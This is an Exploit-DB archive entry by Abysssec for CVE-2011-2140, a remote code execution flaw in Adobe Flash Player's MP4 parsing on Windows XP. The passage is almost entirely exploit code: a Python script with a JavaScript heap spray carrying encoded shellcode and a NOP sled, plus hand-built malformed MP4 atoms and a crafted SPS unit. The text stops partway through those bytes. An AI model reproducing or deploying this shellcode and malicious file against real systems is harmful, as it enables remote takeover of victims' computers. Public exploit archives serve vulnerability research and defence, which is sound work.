Exploit-DB #18437
Description: Adobe Flash Player - MP4 SequenceParameterSetNALUnit Remote Code Execution
Type: remote
Platform: windows
Date: 2012-01-31
Author: Abysssec

Exploit:
# Abysssec Public Exploit
# CVE-2011-2140 
# This exploit tested on Adobe Flash Player <= 10.3.181.34 ( XP sp3 )
# twitter : @abysssec
# contact : info [at] abysssec.com 
# http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability
#
# Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18437.zip (CVE-2011-2140.zip)
#

import sys

def spray_heap():
    spray = '''
    function spray_heap()
        {

var payload = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
var spray = unescape("%u9090%u9090"); 
 
 do { 
       spray += spray; 
    }
 while(spray.length < 0xA0000); 
 
 memory = new Array(); 
 
 for(i = 0; i < 100; i++) 
     memory[i] = spray + payload; 


}
        '''
        
    return spray
    
def createMP4():
	mp4 = ""
	ftypAtom = "\x00\x00\x00\x20\x66\x74\x79\x70\x69\x73\x6F\x6D\x00\x00\x02\x00\x69\x73\x6F\x6D\x69\x73\x6F\x32\x61\x76\x63\x31\x6D\x70\x34\x31"
	
	mdatAtom = "\x00\x00\x00\x10\x6D\x64\x61\x74\x00\x00\x02\x8B\x06\x05\xFF\xFF"
	
	moovAtom1 = "\x00\x00\x08\x83\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\x7C\x25\xB0\x80\x7C\x25\xB0\x80\x00"
	moovAtom1 +="\x00\x03\xE8\x00\x00\x2F\x80\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x03\x00\x00\x02\xFA\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B\x68\x64\x00\x00\x00\x0F\x7C\x25\xB0\x80\x7C"
	moovAtom1 +="\x25\xB0\x80\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02\x72\x6D\x64\x69\x61\x00"
	moovAtom1 +="\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\x7C\x25\xB0\x80\x7C\x25\xB0\x80\x00\x00\x00\x01\x00\x00\x00\x0C\x55"
	moovAtom1 +="\xC4\x00\x00\x00\x00\x00\x2D\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x64\x65\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x56\x69\x64\x65\x6F\x48\x61\x6E\x64\x6C\x65\x72\x00\x00\x00\x02\x1D\x6D\x69\x6E\x66"
	moovAtom1 +="\x00\x00\x00\x14\x76\x6D\x68\x64\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66"
	moovAtom1 +="\x00\x00\x00\x1C\x64\x72\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72\x6C\x20\x00\x00\x00\x01"
	moovAtom1 +="\x00\x00\x09\xDD\x73\x74\x62\x6C\x00\x00\x08\x99\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x08\x89"
	moovAtom1 +="\x61\x76\x63\x31\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x01\x42\x01\x42\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xFF\xFF\x00\x00"
	moovAtom1 +="\x08\x33\x61\x76\x63\x43\x01\x64\x00\x15\xFF\xE1"
	
	# SPSUnit = SPSUnit Len (2 bytes) + NAL Header (1 byte) + profile_idc (1 byte) + Flags and Reserved (1 byte) + levelidc (1 byte) + 
	#			seq_parameter_set_id (variable) + log2_max_frame_num_minus4 (variable) + pic_order_cnt_type = 1 (variable) +
	#           delta_pic_order_always_zero_flag (1 bit) + offset_for_non_ref_pic (num_ref_frames_in_pic_order_cnt_cycle) + offset_for_top_to_bottom_field (variable) + 
	#           num_ref_frames_in_pic_order_cnt_cycle (num_ref_frames_in_pic_order_cnt_cycle) + other bytes
	SPSUnit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
	SPSUnit += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
	SPSUnit += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18"
	SPSUnit += "\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81"
	SPSUnit += "\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18"
	SPSUnit += "\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81"
	SPSUnit += "\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18"
	SPSUnit += "\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81"
	SPSUnit += "\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18"
	SPSUnit += "\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80"
	SPSUnit += "\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00"
	SPSUnit += "\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00"
	SPSUnit += "\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00"